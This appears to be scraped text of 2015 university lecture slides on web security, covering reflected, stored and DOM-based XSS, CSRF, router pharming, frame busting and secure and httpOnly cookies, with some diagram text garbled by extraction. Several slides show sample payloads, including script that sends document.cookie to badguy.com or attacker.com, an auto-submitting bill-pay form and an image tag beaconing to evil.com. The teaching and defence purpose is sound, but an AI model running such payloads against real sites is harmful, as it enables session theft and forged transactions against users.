web security
play

Web Security Presenter: Yinzhi Cao Slides Inherited and Modified - PowerPoint PPT Presentation

CSE343/443 Lehigh University Fall 2015 Web Security Presenter: Yinzhi Cao Slides Inherited and Modified from Prof. John Mitchell Reported Web Vulnerabilities "In the Wild" 1200 1000 800 Input Validation CSRF 600 XSS SQLi


  1. Taxonomy of XSS Attacks

  2. Basic scenario: reflected XSS attack Attack Server e t i s b e w t i s i v 1 receive malicious link a t 2 a d e l b a u l a v d n e s 5 3 click on link Victim client 4 echo user input Victim Server

  3. XSS example: vulnerable site search field on victim.com: n http://victim.com/search.php ? term = apple Server-side implementation of search.php : <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term] ?> : . . . </BODY> </HTML> echo search term into response

  4. Bad input Consider link: (properly URL encoded) http://victim.com/search.php ? term = <script> window.open( “http://badguy.com?cookie = ” + document.cookie ) </script> What if user clicks on this link? 1. Browser goes to victim.com/search.php 2. Victim.com returns <HTML> Results for <script> … </script> 3. Browser executes script: Sends badguy.com cookie for victim.com w

  5. Attack Server k n i l d a b s t e g r e s u www.attacker.com http://victim.com/search.php ? term = <script> ... </script> user clicks on link Victim client victim echoes user input Victim Server www.victim.com <html> Results for <script> window.open(http://attacker.com? ... document.cookie ...) </script> </html>

  6. Basic scenario: reflected XSS attack r d d Attack Server a l i a m Email version e t c e l l o C 1 send malicious email a t 2 a d e l b a u l a v d n e s 5 3 click on link User Victim 4 echo user input Server Victim

  7. 2006 Example Vulnerability Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website. Injected code redirected PayPal visitors to a page warning users their accounts had been compromised. Victims were then redirected to a phishing site and prompted to enter sensitive financial data. Source: http://www.acunetix.com/news/paypal.htm

  8. Adobe PDF viewer “feature” (version <= 7.9) PDF documents execute JavaScript code http://path/to/pdf/ file.pdf#whatever_name_you_want=javascript: co de_here The code will be executed in the context of the domain where the PDF files is hosted This could be used against PDF files hosted on the local filesystem http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html

  9. Here’s how the attack works: Attacker locates a PDF file hosted on website.com Attacker creates a URL pointing to the PDF, with JavaScript Malware in the fragment portion http://website.com/path/to/file.pdf#s=javascript:alert(”xss”);) Attacker entices a victim to click on the link If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware executes Note: alert is just an example. Real attacks do something worse.

  10. And if that doesn’t bother you... PDF files on the local filesystem: file:///C:/Program%20Files/Adobe/Acrobat %207.0/Resource/ ENUtxt.pdf#blah=javascript:alert("XSS"); JavaScript Malware now runs in local context with the ability to read local files ...

  11. Reflected XSS attack Attack Server a t a d e l b a u l a v d n e s 5 3 click on link User Victim 4 Send bad stuff echo user input Server Victim Reflect it back

  12. Stored XSS Attack Server a t a d e l b a u l a v l a e t s 4 1 Inject Store bad stuff malicious 2 request content User Victim script 3 receive malicious script Server Victim Download it

  13. MySpace.com (Samy worm) Users can post HTML on their pages n MySpace.com ensures HTML contains no <script>, <body>, onclick, <a href=javascript://> n … but can do Javascript within CSS tags: <div style=“background:url(‘javascript:alert(1)’)”> And can hide “ javascript ” as “ java\nscript ” With careful javascript hacking: n Samy worm infects anyone who visits an infected MySpace page … and adds Samy as a friend. n Samy had millions of friends within 24 hours. http://namb.la/popular/tech.html

  14. Stored XSS using images Suppose pic.jpg on web server contains HTML ! w request for http://site.com/pic.jpg results in: HTTP/1.1 200 OK … Content-Type: image/jpeg <html> fooled ya </html> w IE will render this as HTML (despite Content-Type) • Consider photo sharing sites that support image uploads • What if attacker uploads an “image” that is a script?

  15. DOM-based XSS (no server used) Example page <HTML><TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos = document.URL.indexOf("name=") + 5; document.write(document.URL.substring(pos,do cument.URL.length)); </SCRIPT> </HTML> Works fine with this URL http://www.example.com/welcome.html?name=Joe But what about this one? http://www.example.com/welcome.html?name= <script>alert(document.cookie)</script> Amit Klein ... XSS of the Third Kind

  16. Cross Site Request Forgery

  17. Basic picture Server Victim n o i s s e s h s i l b a t s e 1 send forged request (w/ cookie) 4 2 visit server (or iframe) 3 User Victim receive malicious page Attack Server Q: how long do you stay logged on to Gmail? 62

  18. Cross Site Request Forgery (CSRF) Example: n User logs in to bank.com w Session cookie remains in browser state n User visits another site containing: <form name=F action=http://bank.com/BillPay.php> <input name=recipient value=badguy> … <script> document.F.submit(); </script> n Browser sends user auth cookie with request w Transaction will be fulfilled Problem: n cookie auth is insufficient when side effects occur

  19. Form post with cookie Cookie: SessionID=523FA4cd2E User credentials

  20. Cookieless Example: Home Router Home router r e t u o r e r u g i f n o c 1 send forged request 4 2 visit site 3 receive malicious page User Bad web site 65

  21. Attack on Home Router Fact: [SRJ’07] n 50% of home users have broadband router with a default or no password Drive-by Pharming attack: User visits malicious site n JavaScript at site scans home network looking for broadband router: • SOP allows “send only” messages • Detect success using onerror: <IMG SRC=192.168.0.1 onError = do() > n Once found, login to router and change DNS server Problem: “send-only” access sufficient to reprogram router

  22. CSRF Defenses Secret Validation Token <input ¡type=hidden ¡value=23a3af01b> ¡ Referer Validation Referer: ¡http://www.facebook.com/home.php ¡ Custom HTTP Header X-­‑Requested-­‑By: ¡XMLHttpRequest ¡

  23. Secret Token Validation Requests include a hard-to-guess secret n Unguessability substitutes for unforgeability Variations n Session identifier n Session-independent token n Session-dependent token n HMAC of session identifier

  24. Secret Token Validation

  25. Referer Validation

  26. Referer Validation Defense HTTP Referer header ü n Referer: http://www.facebook.com/ û n Referer: http://www.attacker.com/evil.html ? ¡ n Referer: Lenient Referer validation n Doesn't work if Referer is missing Strict Referer validaton n Secure, but Referer is sometimes absent…

  27. Referer Privacy Problems Referer may leak privacy-sensitive information http://intranet.corp.apple.com/ ¡ ¡ ¡projects/iphone/competitors.html ¡ Common sources of blocking: n Network stripping by the organization n Network stripping by local machine n Stripped by browser for HTTPS -> HTTP transitions n User preference in browser n Buggy user agents Site cannot afford to block these users

  28. Suppression over HTTPS is low

  29. Custom Header Defense XMLHttpRequest is for same-origin requests n Can use setRequestHeader within origin Limitations on data export format n No setRequestHeader equivalent n XHR2 has a whitelist for cross-site requests Issue POST requests via AJAX: Doesn't work across domains X-­‑Requested-­‑By: ¡XMLHttpRequest ¡

  30. Broader view of CSRF Abuse of cross-site data export feature n From user’s browser to honest server n Disrupts integrity of user’s session Why mount a CSRF attack? n Network connectivity n Read browser state n Write browser state Not just “session riding”

  31. Login CSRF

  32. Payments Login CSRF

  33. Payments Login CSRF

  34. Payments Login CSRF

  35. Payments Login CSRF

  36. Login CSRF

  37. Sites can redirect browser

  38. Attack on origin/referer header referer: http://www.site.com referer: http://www.site.com What if honest site sends POST to attacker.com? Solution: origin header records redirect

  39. CSRF Recommendations Login CSRF n Strict Referer/Origin header validation n Login forms typically submit over HTTPS, not blocked HTTPS sites, such as banking sites n Use strict Referer/Origin validation to prevent CSRF Other n Use Ruby-on-Rails or other framework that implements secret token method correctl y Origin header n Alternative to Referer with fewer privacy problems n Send only on POST, send only necessary data n Defense against redirect-based attacks

  40. NAVIGATION 85

  41. A Guninski Attack awglogin ¡ window.open("https://attacker.com/", ¡"awglogin"); ¡

  42. What should the policy be? Sibling Frame Bust Child Descendant 87

  43. Legacy Browser Behavior Browser ¡ Policy ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡IE ¡6 ¡(default) ¡ Permissive ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡IE ¡6 ¡(opDon) ¡ Child ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡IE7 ¡(no ¡Flash) ¡ Descendant ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡IE7 ¡(with ¡Flash) ¡ Permissive ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡Firefox ¡2 ¡ Window ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡Safari ¡3 ¡ Permissive ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡Opera ¡9 ¡ Window ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡HTML ¡5 ¡ Child ¡

  44. Window Policy Anomaly top.frames[1].location ¡= ¡"http://www.attacker.com/..."; ¡ top.frames[2].location ¡= ¡"http://www.attacker.com/..."; ¡ ... ¡ ¡

  45. Legacy Browser Behavior Browser ¡ Policy ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡IE ¡6 ¡(default) ¡ Permissive ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡IE ¡6 ¡(opDon) ¡ Child ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡IE7 ¡(no ¡Flash) ¡ Descendant ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡IE7 ¡(with ¡Flash) ¡ Permissive ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡Firefox ¡2 ¡ Window ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡Safari ¡3 ¡ Permissive ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡Opera ¡9 ¡ Window ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡HTML ¡5 ¡ Child ¡

  46. Adoption of Descendant Policy Browser ¡ Policy ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡IE7 ¡(no ¡Flash) ¡ Descendant ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡IE7 ¡(with ¡Flash) ¡ Descendant ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡Firefox ¡3 ¡ Descendant ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡Safari ¡3 ¡ Descendant ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡Opera ¡9 ¡ (many ¡policies) ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡HTML ¡5 ¡ Descendant ¡

  47. Secure Cookies GET … Browser Server HTTP Header: Set-cookie: NAME=VALUE ; Secure=true • Provides confidentiality against network attacker • Browser will only send cookie back over HTTPS • … but no integrity • Can rewrite secure cookies over HTTP ⇒ network attacker can rewrite secure cookies ⇒ can log user into attacker’s account

  48. httpOnly Cookies GET … Browser Server HTTP Header: Set-cookie: NAME=VALUE ; httpOnly • Cookie sent over HTTP(s), but not accessible to scripts • cannot be read via document.cookie • Helps prevent cookie theft via XSS … but does not stop most other risks of XSS bugs

  49. FRAMES AND FRAME BUSTING

  50. Frames Embed HTML documents in other documents <iframe name=“myframe” src=“http://www.google.com/”> This text is ignored by most browsers. </iframe>

  51. Frame Busting Goal: prevent web page from loading in a frame n example: opening login page in a frame will display correct passmark image Frame busting: if (top != self) top.location.href = location.href

  52. Better Frame Busting Problem: Javascript OnUnload event <body onUnload="javascript: cause_an_abort;)"> Try this instead: if (top != self) top.location.href = location.href else { … code of page here …}

  53. THE END 98

  54. HTML Image Tags <html> … <p> … </p> … <img src=“http://example.com/sunset.gif” height="50" width="100"> … </html> Displays this nice picture è Security issues? 9

  55. Image tag security issues Communicate with other sites n <img src=“http://evil.com/pass-local- information.jpg?extra_information”> Hide resulting image n <img src=“ … ” height=“1" width=“1"> Spoof other sites n Add logos that fool a user Important Point: A web page can send information to any site 1

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend